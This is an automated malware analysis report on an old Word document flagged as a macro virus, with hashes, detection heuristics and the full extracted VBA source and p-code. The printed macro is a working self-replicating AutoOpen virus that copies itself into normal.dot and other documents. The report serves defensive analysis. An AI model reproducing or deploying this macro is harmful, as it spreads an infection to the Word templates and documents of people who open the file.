Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 49db2984adde43a0…

MALICIOUS

Office (OLE)

26.5 KB Created: 1998-01-29 08:00:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c068d148c551ab9f210421e6bf0dd691 SHA-1: 1e15af0f68950e5c31400365ac380d43c39ba805 SHA-256: 49db2984adde43a0ce785c754aa256e3621a9a75f3b208304fa50f1f018bf3d8
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine. This macro attempts to copy itself to the normal.dot template, which is a common technique for establishing persistence or spreading to other documents. The ClamAV detection further confirms its malicious nature. The macro's intent is to replicate itself and potentially spread.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-29 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-29
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2759 bytes
SHA-256: 5a1d90dfc611550e685536d8247cf614560fff75321179b81f39bb3ac2fce97e
Detection
ClamAV: Doc.Trojan.Minimal-29
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"


Public Sub MAIN()
Dim N$
Dim Msg$
Rem AutoOpen Macro
Dim wiz As Object: Set wiz = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs wiz

On Error GoTo -1: On Error GoTo PoX
If wiz.Format = 0 Then
wiz.Format = 1
N$ = WordBasic.[FileName$]()
WordBasic.MacroCopy "normal.dot:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 3
WordBasic.FileSaveAs wiz
End If

WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "normal.dot:AutoOpen", 3
Msg$ = Msg$ + " May a PoX be upon your Clan "
WordBasic.MsgBox Msg$, "               POXARAMA"
WordBasic.Beep 33
PoX:
End Sub

' Processing file: /opt/analyzer/scan_staging/39746fecde8145f29498ec25f241dde8.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1911 bytes
' Line #0:
' Line #1:
' Line #2:
' 	FuncDefn (Public Sub MAIN())
' Line #3:
' 	Dim 
' 	VarDefn N
' Line #4:
' 	Dim 
' 	VarDefn Msg
' Line #5:
' 	Rem 0x000F " AutoOpen Macro"
' Line #6:
' 	Dim 
' 	VarDefn wiz (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set wiz 
' Line #7:
' 	Ld wiz 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #8:
' Line #9:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError PoX 
' Line #10:
' 	Ld wiz 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LitDI2 0x0001 
' 	Ld wiz 
' 	MemSt Format$ 
' Line #12:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St N$ 
' Line #13:
' 	LitStr 0x0013 "normal.dot:AutoOpen"
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	LitDI2 0x0003 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #14:
' 	Ld wiz 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #15:
' 	EndIfBlock 
' Line #16:
' Line #17:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	LitStr 0x0013 "normal.dot:AutoOpen"
' 	LitDI2 0x0003 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #18:
' 	Ld Msg$ 
' 	LitStr 0x001D " May a PoX be upon your Clan "
' 	Add 
' 	St Msg$ 
' Line #19:
' 	Ld Msg$ 
' 	LitStr 0x0017 "               POXARAMA"
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0002 
' Line #20:
' 	LitDI2 0x0021 
' 	Ld WordBasic 
' 	ArgsMemCall Beep 0x0001 
' Line #21:
' 	Label PoX 
' Line #22:
' 	EndSub